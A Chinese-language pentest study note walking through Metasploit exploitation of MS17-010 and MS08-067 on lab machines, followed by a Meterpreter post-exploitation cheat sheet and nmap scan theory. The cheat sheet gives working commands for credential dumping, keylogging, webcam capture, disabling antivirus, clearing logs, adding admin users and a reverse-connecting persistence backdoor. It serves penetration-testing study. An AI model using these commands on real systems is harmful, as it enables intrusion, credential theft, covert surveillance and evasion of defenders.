经典漏洞一:永恒之蓝(MS17-010)
一、靶场环境安装
- kali操作系统 IP:10.10.10.130
- win7系统 IP:10.10.10.133
二、信息收集
- 使用kali中自带的nmap对win7进行扫描
nmap -sS 10.10.10.133
nmap -sS -O 10.10.10.133
三、威胁建模
- 发现该主机开放了445端口,并且该主机系统为win7。
四、漏洞分析
- 结合前面的结果可以分析出该系统存在 MS17-010 漏洞
五、渗透攻击
- 既然你存在这个漏洞,那么,接下来我就不客气了
- 在kali中打开 msfconsole
- 在命令行输入
search ms17-010
-
基于信息收集阶段我们所了解到的信息,我们直接使用攻击模块
use 0调用攻击模块
- rhost--被渗透方主机IP
- lhost--渗透方主机IP
- lport--渗透端口(可随意设置)
- show options --查看配置参数
- 当你看到这个界面时,恭喜您,您成功的体验了一把小黑客的感觉。
- 既然,我们都控制了对方的电脑,那么接下来的后渗透才是我这个小黑客的终极目标
六、后渗透攻击
- 在meterpreter界面输入
hashdump
获得用户名和密码,下图为client用户的密码
经典漏洞二--(MS08-067)
一、靶机环境:
- 攻击机kali ip:10.10.10.130 /24
- 靶机:win xp 外网IP:10.10.10.140 24
- 内网IP:192.168.80.128
- Win7 ip :192.168.80.148
二、信息收集:
nmap -O IP地址 #端口扫描
- 结合我所知道的信息,该客户机开启了445端口,并且是win xp 系统,所以该客户机存在ms08-067漏洞。
三、渗透攻击:
- 打开命令行进入管理员模式打开msfconsole输入:
search ms08-067
- 直接use 0,设置攻击载荷
- 直接run
- 此时我已成功控制了win xp 系统
- shell远程连接客户机
arp -a #查看该客户机网络映射情况- 发现,该主机存在192.168.80.0/24 网段的地址表,由此,我粗略判断,该网段属于内网
四、后渗透攻击:
run autoroute -s 192.168.80.0/24 #将该网段映射到kali攻击机
此时情况如下图:
至此:我出现了一定的操作思路错误: 没有对内网主机进行端口和版本扫描,请大伙不要犯这样的错误
- 当我也在信心满满的时候,出现了攻击失败,虽然是失败了。但我学到了很多东西
MSF命令总结:
一、基础命令:
shell ---- 即可切换到目标主机的windows shell
exit ---- 要想从目标主机shell退出到 meterpreter
background ---- 从 meterpreter 退出到MSF框架
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
run hashdump #导出密码的哈希
load kiwi #加载mimikatz
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f \*.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下
getpid #查看当前Meterpreter Shell的进程PID
migrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权
run killav #关闭杀毒软件
screenshot #截图
webcam\_list #查看目标主机的摄像头
webcam\_snap #拍照
webcam\_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户,密码为123
run getgui -e #开启远程桌面
keyscan\_start #开启键盘记录功能
keyscan\_dump #显示捕捉到的键盘记录信息
keyscan\_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27 #反弹时间间隔是5s 会自动连接192.168.27的4444端口,
缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389 #将192.168.11.13的3389端口转发到本地的3389端口上,
这里的192.168.11.13是获取权限的主机的ip地址
clearev #如果是windows可以用此命令清除目标主机上的日志记录
二、POST后渗透模块:
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run windows/gather/smart_hashdump #dump出所有用户的hash
三、权限提升:
- 进入一个系统的后台,权限的额提升至关重要,关系到能否修改注册表,安装后门,获取密码等操作。
#在Meterpreter中提供看提升权限的命名,如下:getsystem #提升权限
注意:执行getsystem命令后,会显示错误,但是其实已经运行成功了!
getuid # 获取当前被攻击用户的信息
四、获取密码的方式:
run windows/gather/credentials/windows_autologin
很多用户习惯将计算机设置自动登录,可以使用 run windows/gather/credentials/windows_autologin 抓取自动
登录的用户名和密码
hashdump 模块
hashdump 模块可以从SAM数据库中导出本地用户账号。
run hashdump ,该命令的使用需要系统权限
还可以使用命令:run windows/gather/smart_hashdump
该命令的使用需要系统权限,该功能更强大,可以导出域内所有用户的hash
mimikatz程序
通过上传mimikatz程序,然后执行mimikatz程序来获取明文密码。此外,执行mimikatz必须System权限。
getsystem ##提权至系统权限
execute -i -f mimikatz.exe #进入mimikatz的交互界面
privilege::debug
sekurlsa::logonpasswords
加载kiwi模块
加载wiki模块也许要system权限
load wiki # 加载该模块
help wiki # 查看帮助
creds_all #列举出所有证书的凭证:
MSF中的 mimikatz 模块
运行MSF里面自带的 mimikatz 模块 ,该模块的使用需要System权限。
run post/windows/gather/enum_applications #查看目标主机安装了哪些应用
execute 参数 -f 可执行文件 # 在目标系统中执行程序,参数选项如下参数
-f:指定可执行文件
-H:创建一个隐藏进程
-a:传递给命令的参数
-i: 跟进程进行交互
-m:从内存中执行
-t: 使用当前伪造的线程令牌运行进程
-s: 在给定会话中执行进程
五、创建新用户:
run post/windows/gather/enum_logged_on_users #查看目标主机的用户
run getgui -u hack -p 123 #创建新用户,并添加到 Administrators 组中
注意:如果添加到Administrators组中失败了的话,在windows系统中,我们可以运行:shell ,进行cmd窗口手动将
该用户添加到administrators组中。
六、启用远程桌面:
- 当我们新添加的用户已经拥有远程桌面之后,我们就可以使用这个账号凭证来开启远程桌面会话了。
开启远程桌面服务:
run getgui -e 或 run post/windows/manage/enable\_rdp
idletime #检查目标主机的空闲时长
然后在kali的root视图下用rdesktop命令
rdesktop 192.168.1.110
七、键盘记录:
Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:
keyscan\_start:开启键盘记录功能
keyscan\_dump:显示捕捉到的键盘记录信息
keyscan\_stop:停止键盘记录功能
在使用键盘记录功能时,通常需要跟目标进程进行绑定,接下来我们介绍如何绑定进程,然后获取该进程下的键盘记录
八、生成持续性后门:
- 因为 meterpreter 是基于内存DLL建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每次都去攻击,然后再利用 meterpreter 建立连接。所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,我们就可以连接到该主机。
建立持续性后门有两种方法,一种是通过启动项启动(persistence) ,一种是通过服务启动(metsvc)
启动项启动
启动项启动的话,我们先生成一个后门工具,传送门——> 用MSF生成一个后门木马,然后放到windows的启动目录中:
C:\Users\$username\$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
这样这个后门每次开机就都能启动了,然后我们只要相连就监听相应的端口就行了。
服务启动
run persistence -X -i 5 -p 8888 -r 192.168.10.27\
\#反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀#然后它就在目标机新建了这个
文件:C:\Windows\TEMP\CJzhFlNOWa.vbs 并把该服务加入了注册表中,只要开机就会启动
九、 设置 socks 代理:
- 这里socks模块只是将代理设置为本地的1080端口,即通过proxychains的流量都转给本地的1080端口,又因为这是MSF起的监听端口。所以我们需要添加一个路由,这样MSF监听的1080端口就可以到达内网了。
MSF中有三个代理模块,分别是socks4a、socks5、socks_unc。我们一般用 socks4a和socks5进行代理。
socks5可以设置用户名和密码。这里运行代理后,有时候MSF不会监听端口(有可能是个bug,试了好多次都有
这种情况),所以也就导致代理失败。
#使用socks4a代理
use auxiliary/server/socks5
run#使用socks5代理
use auxiliary/server/socks5
set USERNAME root
set PASSWORD Password@
run#然后打开/etc/proxychains.conf,加入下面一行
socks5 0.0.0.0 1080 root Password@#然后添加路由
route add 0.0.0.0 0.0.0.0 1#然后就可以使用curl了
proxychains nmap -p 21 -Pn -sT x.x.x.x #在打开其他程序前加上proxychains
十、portfwd 端口转发:
- portfwd 是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听
portfwd add -l 3389 -r 192.168.11.13 -p 3389
#将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机
的ip地址rdesktop 127.0.0.1:3389
# 然后我们只要访问本地的3389端口就可以连接到目标主机的3389端口了
十一、 导入并执行powershell脚本:
load powershell #加载powershell功能
powershell_import /root/PowerView.ps1 #导入powershell脚本,提前将该powershell脚本放到指定目录
powershell_execute Get-NetDomain #执行该脚本下的功能模块Get-domain,该模块用于获取域信息,一个脚本下通常有多个功能模块
powershell_execute Invoke-UserHunter #该功能模块用于定位域管理员登录的主机
powershell_execute Get-NetForest #该模块用于定位域信息
如果powershell脚本是用于域内信息收集的,则获取到的权限用户需要是域用户
十二、其他命令:
当我们收到的不是meterpreter类型的session的话,不便于操作,就要升级session
sessions -u id # 升级session
有时候虽然我们获取到了meterpreter,但是执行一些命令会显示没有该命令
load stdapi # 加载 stdapi
nmap工具使用文档
一、扫描原理:
①TCP SYN扫描(-sS)
Nmap默认扫描方式,通常被称为半开放扫描。
发送SYN包到目标端口,若收到SYN/ACK回复,则端口被认为开放状态;
若收到RST回复,则端口被认为关闭状态;若没有收到回复,则认为该端口被屏蔽。
因为仅发送SYN包对目标主机的特定端口,但不建立完整的TCP连接,所以相对比较隐蔽,而且效率比较高,适用范围广。
②TCP connect扫描(-sT)
使用系统网络API connect向目标主机的端口发起连接,如果无法连接,说明该端口关闭。
该方式扫描速度比较慢,而且由于建立完整的TCP连接会在目标主机上留下记录信息,不够隐蔽。
③TCP ACK 扫描(-sA)
向目标主机的端口发送ACK包,如果收到RST包,说明该端口没有被防火墙屏蔽;
没有收到RST包,说明被屏蔽。该方式只能用于确定防火墙是否屏蔽某个端口,
可以辅助TCP SYN的方式来判断目标主机防火墙的状况
④TCP FIN/Xmas/NULL扫描(-sN/sF/sX)
这三种扫描方式被称为秘密扫描,因为相对比较隐蔽。
FIN扫描向目标主机的端口发送的TCP FIN 包括Xmas tree包或NULL包,
如果收到对方的RST回复包,那么说明该端口是关闭的;没有收到RST包说明该端口可能是开放的或者被屏蔽了。
其中Xmas tree包是指flags中FIN URG PUSH被置为1的TCP包;NULL包是指所有的flags都为0的TCP包。
⑤UDP扫描(-sU)
UDP扫描用于判断UDP端口的情况,向目标主机的UDP端口发送探测包,如果收到回复ICMP port unreachable就说明该端口是关闭的;如果没有收到回复,那说明该UDP端口可能是开放的或者屏蔽的。因此,通过反向排除法的方式来判断哪些UDP端口是可能处于开放状态的。
⑥其他方式(-sY/-sZ)
除了以上几种常用的方式外,Nmap还支持多种其他的探测方式。
例如使用SCTP INIT/Cookie-ECHO方式是来探测SCTP的端口开放情况;
使用IP protocol方式来探测目标主机支持的协议类型(tcp/udp/icmp/sctp等等);
使用idle scan方式借助僵尸主机来扫描目标主机,以达到隐蔽自己的目的;
或者使用FTP bounce scan,借助FTP允许的代理服务扫描其他的主机,同样达到隐蔽自己的目的